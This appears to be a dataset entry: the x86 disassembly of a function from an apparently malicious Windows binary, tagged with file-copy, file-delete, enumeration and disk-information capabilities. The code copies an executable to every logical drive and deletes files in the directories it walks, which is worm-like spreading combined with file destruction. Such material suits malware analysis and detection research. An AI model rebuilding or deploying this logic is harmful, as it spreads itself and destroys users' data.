Function at 0x4020f0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x794], eax
mov ax, word [0x405348]
push 0x103
mov word [ebp - 0x790], ax
lea eax, [ebp - 0x123]
push 0
push eax
mov dword [ebp - 0x78e], 0
mov byte [ebp - 0x124], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1bb]
mov byte [ebp - 0x1bc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2bf]
mov byte [ebp - 0x2c0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3c3]
mov byte [ebp - 0x3c4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x30
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x644]
push eax
push 0x40534c
call esi
mov esi, eax
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
je 0x4021f3
nop dword [eax]
push dword [0x4082c8]
lea eax, [ebp - 0x618]
push eax
call fcn.00401af0
add esp, 8
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
jne 0x4021d0
push 0x4083f0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x4083f0], 0
mov ebx, 0x4083f0
je 0x402280
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402220
lea edx, [ebp - 0x794]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402235
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402242
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402270
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402211
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x504]
push eax
push 0x405354
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ebp - 0x504]
push ecx
push eax
mov dword [ebp - 0x788], eax
call ebx
test eax, eax
je 0x4021a0
cmp dword [ebp - 0x504], 0x10
jne 0x402435
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1bc]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x125], al
test al, al
jne 0x4022c1
lea edx, [ebp - 0x4d8]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4022e0
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4022f0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2c1], al
test al, al
jne 0x402310
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3c5], al
test al, al
jne 0x402330
lea ecx, [ebp - 0x2c0]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402350
mov eax, dword [str..]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ecx], eax
mov al, byte [0x40535c]
mov byte [ecx + 4], al
lea eax, [ebp - 0x784]
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40242f
nop word [eax + eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x3c4]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x125], cl
test cl, cl
jne 0x4023a2
lea edi, [ebp - 0x124]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4023c0
mov ax, word [0x405360]
lea edx, [ebp - 0x758]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4023e0
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023f0
mov ecx, edx
lea eax, [ebp - 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4023a0
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x504]
push eax
push dword [ebp - 0x788]
call ebx
test eax, eax
jne 0x4022b2
jmp 0x4021a0